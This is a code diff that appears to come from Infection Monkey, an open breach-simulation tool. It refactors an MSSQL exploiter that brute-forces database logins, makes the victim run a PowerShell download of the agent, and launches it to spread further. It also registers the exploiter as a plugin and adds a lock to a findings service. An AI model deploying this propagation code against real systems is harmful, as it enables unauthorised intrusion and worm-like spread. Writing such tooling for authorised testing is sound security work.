diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index fc114781d..2a0e369e9 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -1,7 +1,3 @@ -class ExploitingVulnerableMachineError(Exception): - """ Raise when exploiter failed, but machine is vulnerable """ - - class FailedExploitationError(Exception): """ Raise when exploiter fails instead of returning False """ diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index a3b6d8191..220268b76 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,17 +1,20 @@ import logging import os -import sys from time import sleep import pymssql -from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT +from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_monkey_dest_path -from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer +from infection_monkey.exploit.tools.helpers import get_agent_dest_path +from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import DROPPER_ARG +from infection_monkey.transport import LockedHTTPServer +from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline logger = logging.getLogger(__name__) @@ -42,35 +45,42 @@ class MSSQLExploiter(HostExploiter): "DownloadFile(^'{http_path}^' , ^'{dst_path}^')" ) - def __init__(self, host): - super(MSSQLExploiter, self).__init__(host) + def __init__(self): + super().__init__() self.cursor = None - self.monkey_server = None + self.agent_http_path = None self.payload_file_path = os.path.join( MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME ) - def _exploit_host(self): + def _exploit_host(self) -> ExploiterResultData: """ First this method brute forces to get the mssql connection (cursor). Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after """ # Brute force to get connection - username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - self.cursor = self.brute_force( - self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list + creds = generate_identity_secret_pairs( + self.options["credentials"]["exploit_user_list"], + self.options["credentials"]["exploit_password_list"], ) - - # Create dir for payload - self.create_temp_dir() + try: + self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) + except FailedExploitationError: + logger.info( + f"Failed brute-forcing of MSSQL server on {self.host}," + f" no credentials were successful" + ) + return self.exploit_result try: + # Create dir for payload + self.create_temp_dir() self.create_empty_payload_file() - self.start_monkey_server() + http_thread = self.start_monkey_server() self.upload_monkey() - self.stop_monkey_server() + MSSQLExploiter._stop_monkey_server(http_thread) # Clear payload to pass in another command self.create_empty_payload_file() @@ -79,9 +89,18 @@ class MSSQLExploiter(HostExploiter): self.remove_temp_dir() except Exception as e: - raise ExploitingVulnerableMachineError(e.args).with_traceback(sys.exc_info()[2]) + error_message = ( + f"An unexpected error occurred when trying " + f"to exploit MSSQL on host {self.host}: {e}" + ) - return True + logger.error(error_message) + self.exploit_result.error_message = error_message + + return self.exploit_result + + self.exploit_result.propagation_success = True + return self.exploit_result def run_payload_file(self): file_running_command = MSSQLLimitedSizePayload(self.payload_file_path) @@ -132,12 +151,17 @@ class MSSQLExploiter(HostExploiter): ) self.run_mssql_command(tmp_dir_removal_command) - def start_monkey_server(self): - self.monkey_server = MonkeyHTTPServer(self.host) - self.monkey_server.start() + def start_monkey_server(self) -> LockedHTTPServer: + dst_path = get_agent_dest_path(self.host, self.options) + self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, dst_path, self.agent_repository + ) + return http_thread - def stop_monkey_server(self): - self.monkey_server.stop() + @staticmethod + def _stop_monkey_server(http_thread): + http_thread.stop() + http_thread.join(LONG_REQUEST_TIMEOUT) def write_download_command_to_payload(self): monkey_download_command = self.get_monkey_download_command() @@ -145,9 +169,9 @@ class MSSQLExploiter(HostExploiter): return monkey_download_command def get_monkey_launch_command(self): - dst_path = get_monkey_dest_path(self.monkey_server.http_path) + dst_path = get_agent_dest_path(self.host, self.options) # Form monkey's launch command - monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) + monkey_args = build_monkey_commandline(self.host, self.current_depth - 1, dst_path) suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX return MSSQLLimitedSizePayload( @@ -157,9 +181,9 @@ class MSSQLExploiter(HostExploiter): ) def get_monkey_download_command(self): - dst_path = get_monkey_dest_path(self.monkey_server.http_path) + dst_path = get_agent_dest_path(self.host, self.options) monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( - http_path=self.monkey_server.http_path, dst_path=dst_path + http_path=self.agent_http_path, dst_path=dst_path ) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format( @@ -194,9 +218,9 @@ class MSSQLExploiter(HostExploiter): host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT ) logger.info( - "Successfully connected to host: {0}, using user: {1}, password (" - "SHA-512): {2}".format(host, user, self._config.hash_sensitive_data(password)) + f"Successfully connected to host: {host} using user: {user} and password" ) + self.exploit_result.exploitation_success = True self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.report_login_attempt(True, user, password) cursor = conn.cursor() diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index d0af82304..7a72606bf 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,4 +1,7 @@ import logging +from typing import Any, Mapping + +from infection_monkey.model import VictimHost logger = logging.getLogger(__name__) @@ -26,31 +29,8 @@ def get_monkey_depth(): return WormConfiguration.depth -def get_monkey_dest_path(url_to_monkey): - """ - Gets destination path from monkey's source url. - :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-64.exe - :return: Corresponding monkey path from configuration - """ - from infection_monkey.config import WormConfiguration - - if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): - logger.error("Can't get destination path because source path %s is invalid.", url_to_monkey) - return False - try: - if "linux" in url_to_monkey: - return WormConfiguration.dropper_target_path_linux - elif "windows-64" in url_to_monkey: - return WormConfiguration.dropper_target_path_win_64 - else: - logger.error( - "Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen." - ) - return False - except AttributeError: - logger.error( - "Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey" - ) - return False +def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> str: + if host.os["type"] == "windows": + return options["dropper_target_path_win_64"] + else: + return options["dropper_target_path_linux"] diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 467539180..43d62862f 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -1,6 +1,4 @@ import logging -import os -import os.path import urllib.error import urllib.parse import urllib.request @@ -30,7 +28,7 @@ class HTTPTools(object): @staticmethod def create_locked_transfer( host, dropper_target_path, agent_repository, local_ip=None, local_port=None - ): + ) -> LockedHTTPServer: """ Create http server for file transfer with a lock :param host: Variable with target's information diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 6313b2208..cea09ff45 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -18,6 +18,7 @@ from infection_monkey.credential_collectors import ( from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.log4shell import Log4ShellExploiter +from infection_monkey.exploit.mssqlexec import MSSQLExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.zerologon import ZerologonExploiter @@ -222,6 +223,9 @@ class InfectionMonkey: ) puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) + puppet.load_plugin( + "MSSQLExploiter", exploit_wrapper.wrap(MSSQLExploiter), PluginType.EXPLOITER + ) puppet.load_plugin( "ZerologonExploiter", exploit_wrapper.wrap(ZerologonExploiter), diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py index 6c8063eca..53f3e44a9 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py @@ -1,6 +1,7 @@ from typing import List from bson import ObjectId +from gevent.lock import BoundedSemaphore from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event @@ -9,6 +10,10 @@ from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFind class MonkeyZTFindingService: + + # Required to synchronize db state between different threads + _finding_lock = BoundedSemaphore() + @staticmethod def create_or_add_to_existing(test: str, status: str, events: List[Event]): """ @@ -20,16 +25,17 @@ class MonkeyZTFindingService: the query - this is not when this function should be used. """ - existing_findings = list(MonkeyFinding.objects(test=test, status=status)) - assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format( - test, status - ) + with MonkeyZTFindingService._finding_lock: + existing_findings = list(MonkeyFinding.objects(test=test, status=status)) + assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format( + test, status + ) - if len(existing_findings) == 0: - MonkeyZTFindingService.create_new_finding(test, status, events) - else: - # Now we know for sure this is the only one - MonkeyZTFindingService.add_events(existing_findings[0], events) + if len(existing_findings) == 0: + MonkeyZTFindingService.create_new_finding(test, status, events) + else: + # Now we know for sure this is the only one + MonkeyZTFindingService.add_events(existing_findings[0], events) @staticmethod def create_new_finding(test: str, status: str, events: List[Event]):